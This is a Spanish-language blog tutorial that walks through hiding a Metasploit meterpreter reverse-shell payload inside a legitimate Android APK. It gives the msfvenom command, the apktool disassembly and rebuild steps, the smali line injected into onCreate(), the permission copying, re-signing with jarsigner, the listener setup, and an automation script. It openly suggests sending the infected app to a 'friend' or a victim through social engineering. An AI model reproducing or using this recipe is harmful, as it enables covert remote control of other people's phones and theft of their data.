Este es otro artículo de cómo podríamos llegar a realizar pentesting a un sistema Android (comprometer dispositivo Android) y obtener una sesión de meterpreter mediante una .apk infectada.
En este tutorial vamos modificar un APK (cualquier aplicación o juego Android) añadiéndole un payload de Metasploit (msf) y posteriormente tener una sesión meterpreter.
1. Introducción al malware en smartphones
El móvil está en todas partes estos días. En cuanto al malware, nuestros amigos de Apple siguen manteniendo el paradigma de intentar examinar todas las aplicaciones que entran en la tienda de aplicaciones de iOS. Aunque se trata de un esfuerzo noble, todavía hay casos en los que el malware se cuela por la puerta.
A diferencia de Apple, el mercado de Android es un enfoque abierto que permite a cualquier persona contribuir a la Play Store y, además, representa la mayor parte de la participación del mercado móvil. Además, hay varios sitios de terceros que permiten la descarga directa de archivos de paquetes de aplicaciones Android (APK).
2. Metasploit y Android
El proyecto Metasploit le permite a un pentester generar cargas útiles (de ahora en adelante ‘payloads’) de Android con un canal de comando meterpreter altamente funcional que se puede cargar en un dispositivo Android. Normalmente, la carga de este APK se realizará a través del depurador de Android “adb“.
Desde la perspectiva de un pen tester, algo divertido de hacer es combinar una aplicación legítima con Meterpreter, y cargarla en un dispositivo Android. Naturalmente, podríamos considerar enviar ese ‘malware‘ a un “amigo” como un regalo o hacerlo mediante ingeniería social.
3. Hacking Android con Metasploit
Las aplicaciones de Android están escritas en Java, que se compilan en un formato ejecutable de Dalvik conocido como DEX. La versión compilada de una aplicación es un archivo ZIP de archivos de bytecode DEX. La máquina virtual Dalvik en Android se reemplazó más recientemente con Android RunTime (ART), que realiza una optimización adicional y compila el código de bytes DEX en un código de ensamblaje nativo.
Smali/baksmali es un ensamblador/desensamblador para el bytecode DEX de Android. Una herramienta de Android llamada “apktool” permite desensamblar DEX comprimidos (archivos APK) en archivos smali, y volver a ensamblar los archivos smali a DEX y, posteriormente, al formato APK comprimido. Podemos usar esta herramienta para desmontar y modificar un archivo APK existente. En este contexto, podemos usar la herramienta para desensamblar y agregar un punto de entrada estático adicional en el código smali del Activity inicial de Android para iniciar nuestro Meterpreter.
En general, los pasos para incrustar un Meterpreter en un archivo APK existente son los siguientes:
- Encontrar una aplicación APK de diversión en “apkmirror.com” o en un sitio mirror similar.
- Generar el archivo APK Metasploit.
- Desmontar con “apktool” el archivo APK Metasploit y el archivo APK que intentas modificar.
- Copiar todo el código de smali de Meterpreter en el nuevo directorio smali del APK.
- Encontrar el punto de entrada del código dentro del archivo AndroidManifest.xml de la aplicación APK buscando la línea:
<action android:name="android.intent.action.MAIN"/>
- Modificar el archivo “.smali” del activity para incluir una línea que inicie la etapa del Meterpreter.
- Copiar todos los permisos de Meterpreter del AndroidManifest.xml en el AndroidManifest.xml del APK modificado.
- Re-ensamblar en formato comprimido DEX.
- Firmar el archivo APK recién creado con “jarsigner“, y luego cargar en el dispositivo Android de la víctima.
4. Ejemplo de Payload para Android
Es mucho más fácil entender los pasos anteriores con un ejemplo concreto.
Requisitos:
- Kali Linux
- Apktool (Integrada en Kali, pero si surge un problema, descarga aquí)
4.1. Descargar un APK legítimo
Para ilustrar esto, descarga un archivo APK de cualquier juego o aplicación en apkmonk.com, apkmirror.com o utilizando un APK downloader online para las últimas versiones.
En mi caso usaré de ejemplo nuestra app conocida: How to: Guía para Informáticos
4.2. Generar tu malware APK
Luego generaré un APK Metasploit usando el comando “msfvenom” de la siguiente manera:
msfvenom -p android/meterpreter/reverse_tcp LHOST=[Tu_IP] LPORT=4444 -o msf.apk
4.3. Desmontar los archivos APK
Ambos archivos (APK ‘original’ y APK ‘malware’) se desmontaron usando “apktool” de la siguiente manera:
apktool d HowToGuiaparaInformaticos_v1.5.apk
apktool d msf.apk
4.4. Copiar el código de malware a la aplicación original
Una forma fácil de hacer esto es cambiar el directorio del Metasploit APK y luego copiar todos los archivos bajo el directorio “smali” en el directorio, para mi caso de ejemplo, HowToGuiaparaInformaticos_v1.5
Un viejo truco que aprendí de un administrador de sistemas para hacer una copia de seguridad de árboles de directorios completos es usar el comando “tar”, ¿cómo así? pues puedes canalizar la salida de tar en un segundo comando que cambia de directorio y “untars” los archivos resultantes.
- Antes de mostrarte el comando, este artículo sobre TAR te puede interesar: +20 Comandos TAR para comprimir y extraer archivos en Linux
//Primero ubícate en el directorio de msf
cd msf/
tar -cf - ./smali | (cd ../[CarpetaArchivoOriginal]; tar -xpf - )
4.5. Encontrar la Actividad EntryPoint
A continuación podemos ver que la actividad de la entrada aparece como “com.esgeeks.howto_informaticos.ui.activity.IntroActivity“. Lo sabemos porque el XML contiene un filtro con “android.intent.action.MAIN” dentro de él.
grep -B2 "MAIN" AndroidManifest.xml
4.6. Modificar el archivo smali del EntryPoint
Como se puede ver arriba, en este caso, el archivo se llama “IntroActivity.smali” (generalmente suelen llamarse “MainActivity.smali”, así que dependerá de la aplicación) y se ubicará en el directorio “com.esgeeks.howto_informaticos.ui.activity” según los puntos (“.”) En la ruta de clase completamente calificada.
Dentro del archivo “IntroActivity.smali“, buscamos el método “onCreate()“.
Necesitamos agregar una sola línea de código justo debajo de la llamada al método “onCreate()” para invocar nuestra etapa Meterpreter.
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Ten en cuenta que lo anterior es una sola línea de código. El resultado final después de la modificación se verá como la siguiente captura de pantalla.
4.7. Agregar permisos al archivo APK modificado “AndroidManifest.xml”
Para el siguiente paso, usa grep
para buscar todas las líneas en el archivo “AndroidManfest.xml” del Metasploit (msf.apk) que contienen los strings “uses-permission” y “uses-feature” y luego copiarlas.
cat AndroidManifest.xml | grep "uses-permission"
Deberás usar un editor para insertar los permisos en el lugar adecuado en el nuevo archivo “AndroidManifest.xml” (del APK modificado). Busca una línea “uses-permission” existente como tu guía de dónde insertar el texto.
4.8. Construir el nuevo archivo de paquete APK
Ahora usa “apktool” de nuevo para volver a ensamblar el archivo resultante del paquete APK. El resultado final se escribirá en un directorio “dist” dentro del propio directorio del APK.
apktool b HowToGuiaparaInformaticos_v1.5
Si te presenta un error, al igual que me pasó a mi. Agrega este comando y vuelve a ejecutar el anterior:
apktool empty-framework-dir --force
4.9. Vuelva a firmar el archivo del paquete resultante
Un método sencillo es utilizar la “keytool” de Java para generar tu propio repositorio de claves autofirmado y luego firmarlo con la herramienta “jarsigner” como se muestra en las capturas de pantalla a continuación.
keytool -genkey -v -keystore howto.keystore -alias howto -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore howto.keystore
Finalmente, el archivo “HowToGuiaparaInformaticos_v1.5.apk” está listo para ser enviado e instalado en un dispositivo Android víctima.
4.10. Obtener una sesión de meterpreter
El paso final es, por supuesto, probar nuestra aplicación recién infectada.
Descubrí entonces que, en el momento en que inicié la app, se obtiene un shell Meterpreter en el sistema KALI. Antes que nada, ejecutamos lo siguiente:
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST "[tu_IP]"
set LPORT "4444"
exploit
¡Ahora sí! Tenemos acceso remoto al dispositivo Android:
5. Conclusión
Tantos pasos complicados … puede salir mal …
Así que después de realizar todos los pasos requeridos anteriormente, me pregunté si había algo más fácil. Hay tantas partes móviles que las posibilidades de error son bastante altas. Es probable que haya otras herramientas disponibles para usar, pero decidí hacer este tutorial explicando un poco a detalle.
En mi búsqueda de encontrar algo más sencillo, me encontré con un script de Python para automatizar este proceso. La herramienta se llama AndroidEmbedIT y esta es definitivamente lo más sencillo para obtener algo sin mucho esfuerzo.
A continuación se muestra un ejemplo de uso. Todos los archivos temporales y la salida final del APK se almacenarán en el directorio “~/.ae”.
python android_embedit.py -kp howto -kn howto -ks howto.keystore [APK_original] msf.apk
¡Usa esta herramienta con cuidado y nos vemos en un próximo tutorial! Deja tus dudas en los comentarios y comparte este artículo ;’)